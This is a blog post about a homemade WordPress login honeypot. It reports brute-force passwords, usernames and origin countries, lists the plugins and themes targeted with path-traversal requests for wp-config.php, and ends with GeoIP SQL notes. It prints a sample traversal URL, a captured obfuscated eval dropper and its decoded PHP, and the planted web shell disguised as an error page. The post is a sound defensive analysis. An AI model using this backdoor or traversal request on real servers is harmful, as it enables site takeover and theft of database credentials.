Wordpress honeypottery

Updated at by

After getting some inbound traffic in early 2015 and seeing the daily visitors balloon from 1 to 3ish along came the bots lusting for Fckeditor and phpMyAdmin. Paths like /wp-admin/ and wp-login.php and their variants also popped up in awstats.

Somebody must have tipped off the böts(!) so I decided to whip up a low effort "honeypot" to see what they're up to.

Wordpress login page in a jiffy

I inlined most of the resources of a Wordpress login so it should look legit for a böt and created a simple rewrite

RewriteCond %{REQUEST_URI} "wp-login\.php|\/wp-admin\/|wp-content"
RewriteRule .* wp-login.php

So one can use it from here https://ospi.netcode.fi/blog/wp-admin/ or https://ospi.netcode.fi/blog/wp-login.php etc. It's sole function is to respond to HEAD and log data of POST/PUT/DELETE.

Some results of the login trials

A total of 13k POSTs landed on the login page since 2015-10-01.

Top 20 passwords

+-----------------+-----+
| password        | cnt |
+-----------------+-----+
| admin           | 140 |
| administrator   | 111 |
| ospi.netcode.fi |  33 |
| michael         |  31 |
| qwerty          |  31 |
| 12345           |  30 |
| 1234567         |  30 |
| 123456          |  30 |
| password        |  30 |
| 12345678        |  29 |
| 123123          |  28 |
| iloveyou        |  27 |
| password1       |  27 |
| 111111          |  27 |
| master          |  27 |
| 1234567890      |  26 |
| dragon          |  26 |
| letmein         |  26 |
| 1234            |  25 |
| trustno1        |  25 |
+-----------------+-----+
20 rows in set (0.00 sec)

Top 8 usernames

+-----------------+------+
| login           | cnt  |
+-----------------+------+
| admin           | 4647 |
| ospi            | 3352 |
| ospi.netcode.fi | 3012 |
| netcode         |  727 |
| ospi's          |  727 |
| test            |  365 |
| ode             |  356 |
| administrator   |  108 |
+-----------------+------+
8 rows in set (0.00 sec)

Some findings in the passwords (13 000 in total)

  • password included a part of the domain or page title : 1200
  • password containing just admin or admin appended with qwerty-patterns, numbers : 650
  • username and password combos starting with cut version of domain "netcode.fi" resulting in "ode" or "ode.fi" : 400
  • dictionary words, forenames, cities, countries, popular brands (toys, cars, bands, games) : 8700
  • only numbers : 1500

A sample from login + passwords :

...
| admin           | marlboro      |
| admin           | fisch         |
| admin           | undertaker    |
| admin           | marseille     |
| admin           | schnuffi      |
| admin           | rebecca       |
| admin           | marianne      |
| admin           | pauline       |
| admin           | rammstein     |
...

Origins of requests

UA emerged as champion in number of requests and derp_index (requests per IP addresses allocated to country code)

+-------------+-------+------------------+------------+
| country_iso | cnt   | country_ip_count | derp_index |
+-------------+-------+------------------+------------+
| UA          | 14285 |         11725181 |     1.2183 |
| RS          |    59 |          2242890 |     0.0263 |
| PH          |    94 |          5499787 |     0.0171 |
| HK          |   171 |         12361918 |     0.0138 |
| SE          |   350 |         27315083 |     0.0128 |
| PK          |    61 |          5319837 |     0.0115 |
| RO          |    74 |          9077915 |     0.0082 |
| IN          |   324 |         41618265 |     0.0078 |
| KR          |   877 |        112645930 |     0.0078 |
| MY          |    51 |          6638460 |     0.0077 |
| FR          |   421 |         82824865 |     0.0051 |
| FI          |    68 |         13686043 |     0.0050 |
| PL          |    78 |         20779570 |     0.0038 |
| RU          |   170 |         45751379 |     0.0037 |
| ID          |    61 |         17893051 |     0.0034 |
+-------------+-------+------------------+------------+
15 rows in set (4.24 sec)

Number of requests

+-------------+-------+
| country_iso | cnt   |
+-------------+-------+
| UA          | 14285 |
| US          |  1142 |
| KR          |   877 |
| FR          |   421 |
| SE          |   350 |
| IN          |   324 |
| HK          |   171 |
| RU          |   170 |
| GB          |   134 |
| CN          |   126 |
| PH          |    94 |
| BR          |    89 |
| DE          |    86 |
| PL          |    78 |
| RO          |    74 |
+-------------+-------+
15 rows in set (0.00 sec)

Exploits against themes or plugins

With no exception all of them tried to use some sort of downloading script included with the theme or plugin. Like this:

/blog/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php

Every request tried to download wp-config.php. Following tables only contain number of tries and name part of path. For plugins :

+-----+-------------------------------------------------+
| cnt | name                                            |
+-----+-------------------------------------------------+
|  10 | ajax-store-locator-wordpress_0                  |
|   8 | google-mp3-audio-player                         |
|   6 | db-backup                                       |
|   6 | justified-image-grid                            |
|   5 | history-collection                              |
|   5 | s3bubble-amazon-s3-html-5-video-with-adverts    |
|   4 | wp-filemanager                                  |
|   4 | tinymce-thumbnail-gallery                       |
|   4 | pica-photo-gallery                              |
|   4 | dukapress                                       |
|   4 | plugin-newsletter                               |
|   4 | simple-download-button-shortcode                |
|   3 | filedownload                                    |
|   3 | ibs-mappro                                      |
|   2 | sell-downloads                                  |
|   2 | aspose-doc-exporter                             |
|   2 | mdc-youtube-downloader                          |
|   2 | paypal-currency-converter-basic-for-woocommerce |
|   2 | wp-ecommerce-shop-styling                       |
|   2 | contus-video-gallery                            |
|   1 | ajax-store-locator-wordpress                    |
|   1 | aspose-importer-exporter                        |
|   1 | se-html5-album-audio-player                     |
|   1 | hb-audio-gallery-lite                           |
|   1 | recent-backups                                  |
|   1 | wp-miniaudioplayer                              |
|   1 | ebook-download                                  |
+-----+-------------------------------------------------+
27 rows in set (0.01 sec)

And for themes

+-----+-----------------------+
| cnt | name                  |
+-----+-----------------------+
|  13 | churchope             |
|  13 | lote27                |
|  13 | mTheme-Unus           |
|  11 | authentic             |
|  11 | linenity              |
|  11 | epic                  |
|  11 | urbancity             |
|  11 | antioch               |
|  10 | trinity               |
|  10 | MichaelCanthony       |
|  10 | SMWF                  |
|  10 | TheLoft               |
|  10 | acento                |
|  10 | felis                 |
|   8 | markant               |
|   8 | yakimabait            |
|   7 | parallelus-salutation |
|   5 | parallelus-mingle     |
|   5 | Newspapertimes_1      |
|   4 | NativeChurch          |
|   3 | corporate_works       |
|   3 | jarida                |
|   3 | tess                  |
|   3 | ypo-theme             |
|   2 | estrutura-basica      |
|   1 | FR0_theme             |
|   1 | twentyeleven          |
+-----+-----------------------+
27 rows in set (0.01 sec)

Bonus content : backdoor installation

Installation was targeted at a login_wall.php with a following POST request. Parameters varied but the logic remained the same.

POST /wp-content/plugins/Login-wall-etgFB/login_wall.php?login=cmd&z3=Y29uZmlnYmFja3MucGhw&z4=L3dwLWNvbnRlbnQvcGx1Z2lucy8%3d

Post data contained two plaintext values coco and z9. z0 which was base64 encoded and z2 which was url encoded (saving the percents) and two base64 encoded GET parameters z3 and z4. These translated into :

"coco":"@eval\/**\/(${'_P'.'OST'}[z9]\/**\/(${'_POS'.'T'}[z0]));"
"z9":"BaSE64_dEcOdE"
"z3":"configbacks.php" or "wp-footers.php"
"z4":"/wp-content/plugins/7"

z0 was base64 encoded and decoded into :

@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
$npath = $_SERVER['DOCUMENT_ROOT'] . BaSE64_dEcOdE($_GET['z4']);

function createFolder($path) {
  if (!file_exists($path)) {
    createFolder(dirname($path));
    mkdir($path, 0777);
  }
}

createFolder($npath);
echo("->|");
;
$c = $_POST["z2"];
$f = $npath . BaSE64_dEcOdE($_GET["z3"]);
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for ($i = 0; $i < strlen($c); $i+=2)
    $buf.=urldecode("%" . substr($c, $i, 2));
echo(@fwrite(fopen($f, "w"), $buf) ? "1" : "0");
echo("|<-");
die();

Which in turn url decoded the z2 with the intent of writing it into a file given in the z3

<i><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Additionally, a 500 root@Internal.root Internal Server Error
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>
<?php
$Krpk  = $_GET['ing'];
if($Krpk == 'lie') {
    $mujj = $_POST['Yjsa4']; 
    if ($mujj!="") { 
        $xsser=base64_decode($_POST['z0']); 
        @eval("\$safedg = $xsser;"); 
    }
    {
        $filename = $_FILES['file']['name'];
        $filetmp  = $_FILES['file']['tmp_name'];
        echo "<form method='POST' enctype='multipart/form-data'>
                <input type='file'name='file' />
                <input type='submit' value='go' />
              </form>";
        if(move_uploaded_file($filetmp,$filename)=='1');
    }
}
?>

THAT'S SOME PRETTY AWESOME OBFUSCATION AND BACKDOOR INSTALLATION RIGHT THERE!!! :D

Random notes : GeoIP CSV to MySQL

Create tables

CREATE TABLE `block` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`cidr` varchar(50) COLLATE utf8_swedish_ci DEFAULT NULL,
`geoname_id` int(10) unsigned DEFAULT NULL,
`ip_lower` int(10) unsigned DEFAULT NULL,
`ip_upper` int(10) unsigned DEFAULT NULL,
`poly` POLYGON DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `ip` (`ip_lower`,`ip_upper`)
) ENGINE=MyISAM

Load CSV into block table

LOAD DATA INFILE 'GeoLite2-City-Blocks-IPv4.csv' INTO TABLE block FIELDS TERMINATED BY ',' IGNORE 1 LINES (cidr, geoname_id)"

Update ip_upper and ip_lower columns by parsing the CIDR

UPDATE block SET ip_lower=INET_ATON( SUBSTRING_INDEX(cidr, '/', 1)) & 0xffffffff ^ ((0x1 << ( 32 - SUBSTRING_INDEX(cidr, '/', -1))) -1 ),ip_upper=INET_ATON( SUBSTRING_INDEX(cidr, '/', 1))|((0x100000000 >> SUBSTRING_INDEX(cidr, '/', -1) ) -1 );

Create rectangles from the ip addresses

 UPDATE block SET poly=Polygon(LineString(Point(ip_lower,-1),Point(ip_upper,-1),Point(ip_upper,1),Point(ip_lower,+1),Point(ip_lower,-1)))

Create a SPATIAL INDEX

ALTER TABLE block ADD SPATIAL INDEX poly(poly)

Location table

CREATE TABLE `location` (
`id` int(10) unsigned NOT NULL,
`locale` char(2) COLLATE utf8_swedish_ci DEFAULT NULL,
`continent` char(2) COLLATE utf8_swedish_ci DEFAULT NULL,
`continent_name` varchar(50) COLLATE utf8_swedish_ci DEFAULT NULL,
`country_iso` char(2) COLLATE utf8_swedish_ci DEFAULT NULL,
`country_name` varchar(50) COLLATE utf8_swedish_ci DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `country_iso` (`country_iso`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_swedish_ci

And load data

LOAD DATA INFILE 'GeoLite2-City-Locations-en.csv' INTO TABLE location FIELDS TERMINATED BY ',' IGNORE 1 LINES (id,locale,continent,continent_name,country_iso,country_name)

Leave a comment